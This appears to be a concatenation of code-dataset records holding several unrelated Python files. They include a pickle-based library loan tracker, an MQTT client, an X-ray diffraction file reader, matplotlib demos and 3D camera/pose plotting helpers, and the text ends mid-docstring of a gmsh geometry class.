|-->',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n else:\n count+=1\n print('\\n',stud_count,'record(s) found under the word\\'',user_find,'\\'')\n if count==(len(record)-1):\n pass\n elif count==len(record):\n print('\\nStudent not found !!')\n \n else:\n print('\\nMore than one student with same name found !!... Try searching again with Examination Seat No. for accurate results.')\n elif usersearch.upper()=='E':\n user_find=int(input('\\nEnter examination seat no. of student: '))\n count=0\n stud_count=0\n datetoday=datetime.date.today()\n for i in record:\n if i[1] == user_find and i[5]',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date(Overdue) |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n elif i[1] == user_find and i[5]>datetoday:\n print('\\nStudent Record-',stud_count+1)\n print('+-------------------+')\n print('| Name |-->',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n else:\n count+=1\n print('\\n',stud_count,'record(s) found under the unique id \\'',user_find,'\\'')\n if count==(len(record)-1):\n pass\n elif count==len(record):\n print('\\nStudent not found !!')\n elif usersearch.upper()=='D':\n user_find=int(input('\\nEnter month number to find which students have due date: '))\n count=0\n stud_count=0\n datetoday=datetime.date.today()\n for i in record:\n if i[5].month == user_find and i[5]',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date(Overdue) |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n elif i[5].month == user_find and i[5]>datetoday:\n print('+-------------------+')\n print('| Name |-->',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n else:\n count+=1\n print('\\n',stud_count,'record(s) found under the due month of \\'',year_dict[int(user_find)],'\\'')\n if count==(len(record)-1):\n pass\n elif usersearch.upper()=='I':\n user_find=input('\\nEnter ISBN no. of book: ')\n count=0\n stud_count=0\n datetoday=datetime.date.today()\n for i in record:\n if i[2] == str(user_find) and i[5]',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date(Overdue) |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n elif i[2] == str(user_find) and i[5]>datetoday:\n print('+-------------------+')\n print('| Name |-->',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n else:\n count+=1\n print('\\n',stud_count,'record(s) found under the unique id \\'',user_find,'\\'')\n if count==(len(record)-1):\n pass\n elif count==len(record):\n print('\\nStudent not found !!')\n elif usersearch=='invalid':\n print('\\nRecord list empty!! Try adding records first.')\n else:\n print('\\nInvalid Input!! Try again.')\n open_bin.close()\n\n#Delete all records\ndef delrec():\n open_bin=open('dbms','rb')\n record=pickle.load(open_bin)\n open_bin.close()\n confirm=str(input('Are you sure you want to delete all records ? (Y/N)'))\n if record != []:\n if confirm.upper()=='Y':\n open_bin=open('dbms','wb')\n lst_std=[]\n pickle.dump(lst_std,open_bin)\n open_bin.close()\n print('All records deleted successfully !!')\n else:\n print('Records are safe !!')\n elif record==[]:\n print('No records present !!')\n\n#Deleting particular records\ndef delparrec():\n open_bin=open('dbms','rb')\n records=pickle.load(open_bin)\n open_bin.close()\n open_bin=open('dbms','wb') \n usersearch=str(input('\\nEnter ISBN number of the book being returned: '))\n lst_temp=[]\n stud_count=0\n confirm=str(input('Are you sure you want to delete record ? (Y/N) '))\n if confirm.upper()=='Y':\n for i in records:\n if i[2]==usersearch:\n stud_count+=1\n print('+-------------------+')\n print('| Name |-->',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date |-->',i[5])\n print('+-------------------+')\n pass\n else:\n lst_temp.append(i)\n pickle.dump(lst_temp,open_bin)\n else:\n pickle.dump(records,open_bin)\n if confirm.upper()=='Y':\n if stud_count != 0:\n print('\\nRecord under ISBN \\'',usersearch,'\\' deleted successfully.')\n else:\n print('\\nNo such record found !!')\n else:\n pass\n open_bin.close()\n\n#Updating records\ndef updaterec():\n open_bin=open('dbms','rb')\n records=pickle.load(open_bin)\n open_bin.close()\n n=-1\n usersearch='E'\n if usersearch.upper()=='E':\n user_find=''\n list_checknames=[]\n for i in records:\n list_checknames.append(int(i[1]))\n tries=0\n user_find=int(input('Enter exam seat no. of student(presently in records): '))\n while user_find not in list_checknames and tries<2:\n print('Unique ID doesn\\'t exist !!')\n user_find=int(input('Enter exam seat no. of student(presently in records): '))\n tries+=1\n if tries<2 and user_find in list_checknames:\n print('N-Name\\nE-Examination Seat No.\\nI-ISBN No.\\nB-Book Name\\nIS-Issue-Date(yyyy-mm-dd format)\\n')\n user_choose=str(input('\\nWhich field you want to update ?'))\n if user_choose.upper() == 'N' or user_choose.upper() == 'E' or user_choose.upper() == 'I' or user_choose.upper() == 'B':\n user_change=str(input('\\nEnter updated information: '))\n elif user_choose.upper() == 'IS':\n user_change=datetime.date.today()\n else:\n print('Invalid entries. Exiting session temporarily !!')\n pass\n\n user_can='yes'\n user_can2='yes'\n try:\n for i in records:\n if user_choose.upper()=='E':\n user_can='yes'\n if int(user_change) == (int(i[1])):\n print('\\nCan\\'t update..Student already exist with the unique ID !!')\n info2(records,user_change,1)\n open_bin=open('dbms','wb')\n pickle.dump(records,open_bin)\n user_can2='no'\n break\n else:\n user_can2='yes'\n elif user_choose.upper()=='I':\n user_can2='yes'\n if user_change == i[2]:\n print('\\nBook with ISBN No.',user_change,'already issued by: ')\n info2(records,user_change,2)\n user_can='no'\n open_bin=open('dbms','wb')\n pickle.dump(records,open_bin)\n break\n else:\n user_can='yes'\n pass\n else:\n pass\n except:\n user_can='no'\n user_can2='no'\n if user_can=='yes' and user_can2=='yes': \n if user_choose.upper()=='N':\n stat=''\n stat2=''\n for i in records:\n if int(i[1])==user_find:\n i[0]=user_change\n print('Record updated successfully !!')\n info(records,user_change,1)\n stat2='found'\n n=0\n else:\n stat='notfound'\n if stat=='notfound' and stat2=='': \n print('No such record !!')\n elif user_choose.upper()=='E':\n stat=''\n stat2=''\n for i in records:\n if int(i[1])==user_find:\n i[1]=user_change\n print('Record updated successfully !!')\n info(records,user_find,1)\n stat2='found'\n n=1\n else:\n stat='notfound'\n if stat=='notfound' and stat2=='': \n print('No such record !!')\n elif user_choose.upper()=='I':\n stat=''\n stat2=''\n for i in records:\n if int(i[1])==user_find:\n i[2]=user_change\n print('Record updated successfully !!')\n info(records,user_find,1)\n stat2='found'\n n=2\n else:\n stat='notfound'\n if stat=='notfound' and stat2=='': \n print('No such record !!')\n elif user_choose.upper()=='B':\n stat=''\n stat2=''\n for i in records:\n if int(i[1])==user_find:\n i[3]=user_change\n print('Record updated successfully !!')\n info(records,user_find,1)\n stat2='found'\n n=3\n else:\n stat='notfound'\n if stat=='notfound' and stat2=='': \n print('No such record !!')\n elif user_choose.upper()=='IS':\n stat=''\n stat2=''\n n=-1\n for i in records:\n if int(i[1])==user_find:\n i[4]=user_change\n i[5]=user_change+datetime.timedelta(days=7)\n print('\\nRecord updated successfully !!')\n print('Issue date set to current date.')\n info(records,user_find,1)\n stat2='found'\n n=4\n else:\n stat='notfound'\n if stat=='notfound' and stat2=='': \n print('No such record !!')\n else:\n print('\\nInvalid Input!!')\n open_bin=open('dbms','wb')\n pickle.dump(records,open_bin)\n else:\n open_bin=open('dbms','wb')\n pickle.dump(records,open_bin)\n\n open_bin.close()\n\ndef info(listsearch,searchmaterial,index):\n datetoday=datetime.date.today()\n stud_count=0\n for i in listsearch:\n if searchmaterial==i[index]:\n if i[5]',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date(Overdue) |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n else:\n print('+-------------------+')\n print('| Name |-->',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date |-->',i[5])\n print('+-------------------+')\ndef info2(listsearch,searchmaterial,index):\n datetoday=datetime.date.today()\n stud_count=0\n for i in listsearch:\n if searchmaterial==i[index]:\n if i[5]',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date(Overdue) |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n else:\n print('+-------------------+')\n print('| Name |-->',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date |-->',i[5])\n print('+-------------------+')\ndef info3(listsearch,searchmaterial,index):\n datetoday=datetime.date.today()\n for i in listsearch:\n if searchmaterial==i[index]:\n if i[5]',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date(Overdue) |-->',i[5])\n print('+-------------------+')\n else:\n print('+-------------------+')\n print('| Name |-->',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date |-->',i[5])\n print('+-------------------+')\ndef allrecs():\n try:\n open_bin=open('dbms','rb') # Regular use\n record=pickle.load(open_bin)\n open_bin.close()\n except:\n open_bin=open('dbms','wb') # If initialising for 1st time\n lst=[]\n pickle.dump(lst,open_bin)\n open_bin.close()\n open_bin=open('dbms','rb')\n record=pickle.load(open_bin)\n open_bin.close()\n stud_count=0\n datetoday=datetime.date.today()\n if record != []:\n for i in record:\n if i[5]',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date(Overdue) |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n else:\n print('\\nStudent No.-',stud_count+1)\n print('+-------------------+')\n print('| Name |-->',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n elif record == []:\n print('\\nNo records present !! Try adding entries first.')\n\n ","sub_path":"DBMSlibrary.py","file_name":"DBMSlibrary.py","file_ext":"py","file_size_in_byte":23037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"647460709","text":"import paho.mqtt.client as mqtt\r\nimport configparser\r\nimport argparse\r\nimport os\r\n\r\ndef on_connect(client, userdata, flags, rc):\r\n print (args.client + \" Connected\")\r\n\r\ndef on_message(client, userdata, msg):\r\n print(msg.topic+\" \"+str(msg.payload))\r\n\r\n\r\nparser = argparse.ArgumentParser(description='this is a description')\r\nparser.add_argument('--client', '-c', required=True, help='client id ')\r\nargs = parser.parse_args()\r\nif not args.client:\r\n print(\"Invalid parameters\")\r\n exit(1)\r\n\r\ncwd = os.path.dirname(os.path.abspath(__file__))\r\nconfig_file = cwd + \"/config.ini\"\r\nconfig = configparser.ConfigParser()\r\nconfig.read(config_file)\r\ndata = config.sections()\r\nhost = config.get(\"broker\", \"host\")\r\nport = config.get(\"broker\", \"port\")\r\n\r\nclient = mqtt.Client(client_id=args.client)\r\nclient.on_connect = on_connect\r\nclient.on_message = on_message\r\nclient.connect(host, int(port), 60)\r\n\r\nclient.loop_forever()\r\n\r\nclient.disconnect()","sub_path":"mqtt/IotDevice.py","file_name":"IotDevice.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"503457895","text":"#script for sigray\nimport numpy as np\nimport xml.etree.ElementTree as ET\nimport h5py as h5\n\n\n\n\ndef get_Omega(scan, v ):\n for pos in scan.iter(v + 'positions'):\n if pos.attrib['axis'] == 'Omega':\n Omega = pos.find(v+'commonPosition').text\n return float(Omega)\n\ndef get_2Theta(scan, v ):\n for pos in scan.iter(v + 'positions'):\n if pos.attrib['axis'] == '2Theta':\n start = pos.find(v+'startPosition').text\n stop = pos.find(v+'endPosition').text\n return [float(start), float(stop)]\n\ndef get_countTime(scan, v ):\n for c in scan.iter(v + 'commonCountingTime'):\n return float(c.text)\n \ndef get_counts(scan, v):\n if v==\"\"\"{http://www.xrdml.com/XRDMeasurement/1.5}\"\"\":\n for c in scan.iter(v + 'intensities'):\n return np.array(c.text.split(), dtype=np.int)\n elif v==\"\"\"{http://www.xrdml.com/XRDMeasurement/2.1}\"\"\":\n for c in scan.iter(v + 'counts'):\n return np.array(c.text.split(), dtype=np.int)\n\ndef get_vers(roottree):\n vers=\"{%s}\"%(roottree.attrib[\"{http://www.w3.org/2001/XMLSchema-instance}schemaLocation\"].split(\" \")[0])\n print(\"ATTRIBUTES1\",roottree.attrib)\n print(\"ATTRIBUTES\",vers)\n return(vers)\n\ndef load_diffractomer_xrdml(fnam):\n data = {}\n data['2Theta'] = []\n data['Omega'] = []\n data['count_time'] = []\n data['counts'] = []\n \n tree = ET.parse(fnam)\n root = tree.getroot()\n v=get_vers(root)\n #v =\n print(\"XML Version found:\", v)\n print(\"root\",root)\n if v==\"\"\"{http://www.xrdml.com/XRDMeasurement/1.5}\"\"\":\n scans = [s for s in root.iter(v + 'scan')]\n for scan in scans :\n counts = get_counts(scan, v=v)\n countTime = get_countTime(scan, v=v)\n Omega = get_Omega(scan,v=v)\n Theta2 = get_2Theta(scan, v=v)\n Thetas, dT= np.linspace(Theta2[0], Theta2[1], len(counts), retstep=True)\n for c, t in zip(counts, Thetas) :\n data['2Theta'].append(t)\n data['Omega'].append(Omega)\n data['count_time'].append(countTime)\n data['counts'].append(c)\n #print Omega, t, countTime, c\n elif v==\"\"\"{http://www.xrdml.com/XRDMeasurement/2.1}\"\"\":\n scans = [s for s in root.iter(v + 'scan')]\n for scan in scans :\n counts = get_counts(scan, v=v)\n countTime = get_countTime(scan, v=v)\n Omega = get_Omega(scan,v=v)\n Theta2 = get_2Theta(scan, v=v)\n Thetas, dT= np.linspace(Theta2[0], Theta2[1], len(counts), retstep=True)\n for c, t in zip(counts, Thetas) :\n data['2Theta'].append(t)\n data['Omega'].append(Omega)\n data['count_time'].append(countTime)\n data['counts'].append(c)\n print(\"Ncounts:\",len(data['counts']))\n print(\"Ncounttime\",len(data['count_time']))\n print(\"NOmega\",len(data['Omega']))\n print(\"NTheta2\",len(data['2Theta']))\n #print Omega, t, countTime, c\n return data\n\ndef load_h5(fnam):\n f=h5.File(fnam,\"r\")\n data = {}\n data['2Theta'] = f[\"2Theta\"][()]\n data['Omega'] = f[\"Omega\"][()]\n data['count_time'] = np.ones_like(data[\"2Theta\"])\n data['counts'] = f[\"Data\"][()]\n energy= f[\"Energy\"][()]\n return(data,energy)\n\ndef interpolate_2d_grid(data,dtype=\"h5\"):\n # define the grid\n #--------------------------\n # take the median of the step size \n data['2Theta'] = np.array(data['2Theta'])\n\n if dtype==\"h5\":\n data['Omega'] = np.array(data['Omega'])*1e-9\n else:\n data['Omega'] = np.array(data['Omega'])\n \n\n step = np.abs(np.diff(data['2Theta']))\n dT = np.median(step[step>0])\n print(step) \n step = np.abs(np.diff(data['Omega']))\n dO = np.median(step[step>0])\n\n tmin, tmax = np.min(data['2Theta']), np.max(data['2Theta'])\n omin, omax = np.min(data['Omega']) , np.max(data['Omega'])\n #Theta2s = np.arange(tmin, tmax + dT, dT)\n #Omegas = np.arange(omin, omax + dO, dO)\n Theta2s = np.linspace(tmin, tmax + dT, int((tmax+dT-tmin)/dT))\n Omegas = np.linspace(omin, omax + dO, int((omax+dO-omin)/dO))\n \n grid = np.zeros((Omegas.shape[0] + 2, Theta2s.shape[0] + 2), dtype=np.float)\n Theta2s = np.arange(tmin, tmax + 3*dT, dT)\n Omegas = np.arange(omin, omax + 3*dO, dO)\n \n # now convert actual 2 theta values to pixel coordinates\n fs = np.rint((data['2Theta'] - tmin) / dT).astype(np.int)\n ss = np.rint((data['Omega'] - omin) / dO).astype(np.int)\n if dtype==\"h5\":\n from numpy import flip\n grid = data[\"counts\"]\n omegas=-Omegas\n for i in range(0,omegas.shape[0],1):\n Omegas[-(i+1)]=omegas[i]\n else:\n grid[ss, fs] = np.array(data['counts']).ravel()\n\n return Omegas, Theta2s, grid\n","sub_path":"xrdml_reader.py","file_name":"xrdml_reader.py","file_ext":"py","file_size_in_byte":4887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"627721430","text":"'''\r\nCreated on 2016年9月4日\r\n\r\n@author: Administrator\r\n'''\r\n\r\nclass Student(object):\r\n \r\n @property\r\n def name(self):\r\n return self._name\r\n \r\n @name.setter\r\n def name(self,value):\r\n self._name = value\r\n \r\n def __getattr__(self,attr):\r\n if attr == 'age':\r\n return lambda: 25\r\n raise AttributeError('\\'Student\\' object has no attribute \\'%s\\'' % attr)\r\n\r\ns = Student()\r\n\r\ns.name = 'jeffrey'\r\n\r\n\r\nprint(s.name)\r\nprint(s.age())\r\n# 报错\r\nprint(s.id)\r\n#","sub_path":"newpydev/oop2/test07.py","file_name":"test07.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"282244028","text":"import visgeom.utils\nfrom mpl_toolkits.mplot3d.art3d import Poly3DCollection\nimport numpy as np\n\n\ndef axis_equal(ax):\n \"\"\"Emulate ax.axis('equal') for 3D axes, which is currently not supported in matplotlib.\n\n :param ax: Current axes\n \"\"\"\n ax.set_box_aspect([1, 1, 1])\n\n limits = np.array([\n ax.get_xlim3d(),\n ax.get_ylim3d(),\n ax.get_zlim3d(),\n ])\n\n origin = np.mean(limits, axis=1)\n radius = 0.5 * np.max(np.abs(limits[:, 1] - limits[:, 0]))\n\n ax.set_xlim3d([origin[0] - radius, origin[0] + radius])\n ax.set_ylim3d([origin[1] - radius, origin[1] + radius])\n ax.set_zlim3d([origin[2] - radius, origin[2] + radius])\n\n\ndef plot_pose(ax, pose, **kwargs):\n \"\"\"Plot the pose (R, t) in the global frame.\n\n Keyword Arguments\n * *alpha* -- Alpha value (transparency), default 1\n * *axis_colors* -- List of colors for each axis, default ('r', 'g', 'b')\n * *scale* -- Scale factor, default 1.0\n * *text* -- Text description plotted at pose origin, default ''\n\n :param ax: Current axes\n :param pose: The pose (R, t) of the local frame relative to the global frame,\n where R is a 3x3 rotation matrix and t is a 3D column vector.\n :param kwargs: See above\n\n :return: List of artists.\n \"\"\"\n R, t = pose\n alpha = kwargs.get('alpha', 1)\n axis_colors = kwargs.get('axis_colors', ('r', 'g', 'b'))\n scale = kwargs.get('scale', 1)\n text = kwargs.get('text', '')\n\n artists = []\n\n # If R is a valid rotation matrix, the columns are the local orthonormal basis vectors in the global frame.\n for i in range(0, 3):\n axis_line = np.column_stack((t, t + R[:, i, np.newaxis] * scale))\n artists.extend(ax.plot(axis_line[0, :], axis_line[1, :], axis_line[2, :], axis_colors[i] + '-', alpha=alpha))\n\n if text:\n artists.extend([ax.text(t[0, 0], t[1, 0], t[2, 0], text)])\n\n return artists\n\n\ndef plot_camera_frustum(ax, K, pose_w_c, **kwargs):\n \"\"\"Plot a camera frustum in the global \"world\" frame.\n\n Keyword Arguments\n * *alpha* -- Alpha value (transparency), default 1\n * *edgecolor* -- Frustum color, default 'k'\n * *img_size* -- Size of image in pixels, default (2*K[0, 2], 2*K[1, 2])\n * *scale* -- Scale factor, default 1.0\n * *text* -- Text description plotted at camera origin, default ''\n\n :param ax: Current axes\n :param K: Camera calibration matrix (3x3 upper triangular matrix)\n :param pose_w_c: The pose (R, t) of the camera frame relative to the world frame,\n where R is a 3x3 rotation matrix and t is a 3D column vector.\n :param kwargs: See above\n\n :return: List of artists.\n \"\"\"\n R_w_c, t_w_c = pose_w_c\n alpha = kwargs.get('alpha', 1)\n edgecolor = kwargs.get('edgecolor', 'k')\n img_size = kwargs.get('img_size', (2 * K[0, 2], 2 * K[1, 2]))\n scale = kwargs.get('scale', 1)\n text = kwargs.get('text', '')\n\n # Homogeneous coordinates (normalised) for the corner pixels.\n img_corners_uh = np.array([[0, img_size[0], img_size[0], 0],\n [0, 0, img_size[1], img_size[1]],\n np.ones(4)])\n\n # Corners transformed to the normalised image plane.\n img_corners_xn = np.linalg.inv(K) @ img_corners_uh\n\n # Frustum points in the camera coordinate system.\n frustum_x_c = np.hstack((np.zeros((3, 1)), img_corners_xn))\n\n # Frustum points in the world coordinate system.\n S = scale * np.identity(3)\n frustum_x_w = R_w_c @ S @ frustum_x_c + t_w_c\n\n # Plot outline.\n inds = (0, 4, 3, 0, 1, 4, 0, 3, 2, 0, 2, 1, 0)\n artists = ax.plot(frustum_x_w[0, inds], frustum_x_w[1, inds], frustum_x_w[2, inds], edgecolor + '-', alpha=alpha)\n\n if text:\n artists.extend([ax.text(t_w_c[0, 0], t_w_c[1, 0], t_w_c[2, 0], text)])\n\n return artists\n\n\ndef plot_camera_image_plane(ax, K, pose_w_c, **kwargs):\n \"\"\"Plot a camera image plane in the global \"world\" frame.\n\n Keyword Arguments\n * *alpha* -- Alpha value (transparency), default 0.25\n * *edgecolor* -- Color of edge around image plane, default 'k'\n * *facecolor* -- Image plane color, default 'b'\n * *img_size* -- Size of image in pixels, default (2*K[0, 2], 2*K[1, 2])\n * *scale* -- Scale factor, default 1.0\n\n :param ax: Current axes\n :param K: Camera calibration matrix (3x3 upper triangular matrix)\n :param pose_w_c: The pose (R, t) of the camera frame relative to the world frame,\n where R is a 3x3 rotation matrix and t is a 3D column vector.\n :param kwargs: See above\n\n :return: List of artists.\n \"\"\"\n R_w_c, t_w_c = pose_w_c\n alpha = kwargs.get('alpha', 0.25)\n edgecolor = kwargs.get('edgecolor', 'k')\n facecolor = kwargs.get('facecolor', 'b')\n img_size = kwargs.get('img_size', (2 * K[0, 2], 2 * K[1, 2]))\n scale = kwargs.get('scale', 1)\n\n # Homogeneous coordinates (normalised) for the corner pixels.\n img_corners_uh = np.array([[0, img_size[0], img_size[0], 0],\n [0, 0, img_size[1], img_size[1]],\n np.ones(4)])\n\n # Corners transformed to the normalised image plane.\n img_corners_xn = np.linalg.inv(K) @ img_corners_uh\n\n # Image plane points in the world coordinate system.\n S = scale * np.identity(3)\n plane_x_w = R_w_c @ S @ img_corners_xn + t_w_c\n\n # Plot plane\n poly = Poly3DCollection([plane_x_w.T], alpha=alpha, facecolor=facecolor, edgecolor=edgecolor)\n artists = [ax.add_collection(poly)]\n\n return artists\n\n\ndef plot_covariance_ellipsoid(ax, mean, covariance, chi2_val=11.345, **kwargs):\n \"\"\"Plot a 3D covariance ellipsoid.\n\n Keyword Arguments\n * *alpha* -- Alpha value (transparency), default 0.2\n * *color* -- Ellipsoid surface color, default 'r'\n * *n* -- Granularity of the ellipsoid, default 20\n\n :param ax: Current axes\n :param mean: The mean, a 3D column vector.\n :param covariance: The covariance, a 3x3 matrix.\n :param chi2_val: The chi-square distribution value for the ellipsoid scale. Default 11.345 corresponds to 99%\n :param kwargs: See above\n\n :return: List of artists.\n \"\"\"\n alpha = kwargs.get('alpha', 0.2)\n color = kwargs.get('color', 'r')\n n = kwargs.get('n', 20)\n\n u, s, _ = np.linalg.svd(covariance)\n scale = np.sqrt(chi2_val * s)\n\n x, y, z = visgeom.utils.generate_ellipsoid(n, pose=(u, mean), scale=scale)\n\n return [ax.plot_surface(x, y, z, alpha=alpha, color=color)]\n","sub_path":"visgeom/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":6505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"170373401","text":"import matplotlib.pyplot as plt\r\n# Look at index 4 and 6, which demonstrate\r\n# overlapping cases.\r\nx1 = [1,3,4,5,6,7,9]\r\ny1 = [4,7,2,4,7,8,3]\r\n\r\nx2 = [2,4,6,8,10]\r\ny2 = [5,6,2,6,2]\r\n\r\nplt.bar(x1,y1,label=\"Blue Bar\",color = 'b')\r\nplt.bar(x2,y2,label=\"Red Bar\",color='r')\r\n\r\nplt.plot(x1,y1)\r\n\r\nplt.xlabel(\"bar number\")\r\nplt.ylabel(\"bar height\")\r\nplt.title(\"Bar Chart Example\")\r\nplt.legend()\r\nplt.show()\r\n","sub_path":"MLPractical45.py","file_name":"MLPractical45.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"538522273","text":"import itertools\nfrom collections import deque\nimport logging\nimport time\n\nimport gmsh\nimport numpy as np\n\nfrom support import volumes_groups_surfaces_registry\nimport registry\n\n\nclass Primitive:\n \"\"\"\n Primitive is a basic object that topologically represents a cuboid\n i.e. a convex polyhedron bounded by six quadrilateral faces, whose polyhedral graph is the same as that of a cube.\n\n | Primitive has 8 points, 12 curves, 6 surfaces and 1 volume.\n | Primitive is the only object that can be meshed in a structured mesh.\n | Primitive can contain internal volumes, if so it cannot be meshed in a structured mesh.\n\n | **Object structure**\n\n | **Axes**\n | Y\n | Z X\n | NX, NY and NZ are negative X, Y and Z directions\n\n | **Points**\n | NZ:\n | P1 P0\n | P2 P3\n | Z:\n | P5 P4\n | P6 P7\n\n | **Curves**\n | X direction curves from P0 by right-hand rule:\n | C0: P1 -> P0\n | C1: P5 -> P4\n | C2: P6 -> P7\n | C3: P2 -> P3\n | Y direction curves from P0 by right-hand rule:\n | C4: P3 -> P0\n | C5: P2 -> P1\n | C6: P6 -> P5\n | C7: P7 -> P4\n | Z direction curves from P0 by right-hand rule:\n | C8: P0 -> P4\n | C9: P1 -> P5\n | C10: P2 -> P6\n | C11: P3 -> P7\n\n | **Surfaces**\n | NX surface\n | S0: C5 -> C9 -> -C6 -> -C10\n | X surface\n | S1: -C4 -> C11 -> C7 -> -C8\n | NY surface\n | S2: -C3 -> C10 -> C2 -> -C11\n | Y surface\n | S3: C0 -> C8 -> -C1 -> -C9\n | NZ surface\n | S4: -C0 -> -C5 -> C3 -> C4\n | Z surface\n | S5: C1 -> -C7 -> -C2 -> C6\n\n Args:\n factory (str): gmsh factory\n - 'geo' - gmsh\n - 'occ' - OpenCASCADE\n point_data (:obj:`numpy.ndarray`, optional): could be\n - | Coordinates of points with characteristic lengths\n | [[P0_X, P0_Y, P0_Z, P0_LC],\n | [[P1_X, P1_Y, P1_Z, P1_LC],\n | ...,\n | [P7_X, P7_Y, P7_Z, P7_LC]]\n - | Coordinates of points\n | [[P0_X, P0_Y, P0_Z],\n | [[P1_X, P1_Y, P1_Z],\n | ...,\n | [P7_X, P7_Y, P7_Z]]\n - | Lengths by axes with characteristic length\n | [L_X, L_Y, L_Z, LC]\n - | Lengths by axes\n | [L_X, L_Y, L_Z]\n transform_data (list of transformation, optional):\n transformations of points,\n where transformation is a 2-tuple of data and mask\n\n - | [[DX, DY, DZ], [P0_M, P1_M, ..., P7_M]]\n - | [[RDX, RDY, RDZ, RA], [P0_M, P1_M, ..., P7_M]]\n - | [[ROX, ROY, ROZ, RDX, RDY, RDZ, RA], [P0_M, P1_M, ..., P7_M]]\n | where:\n - | DX, DY, DZ - displacement\n - | ROX, ROY, ROZ 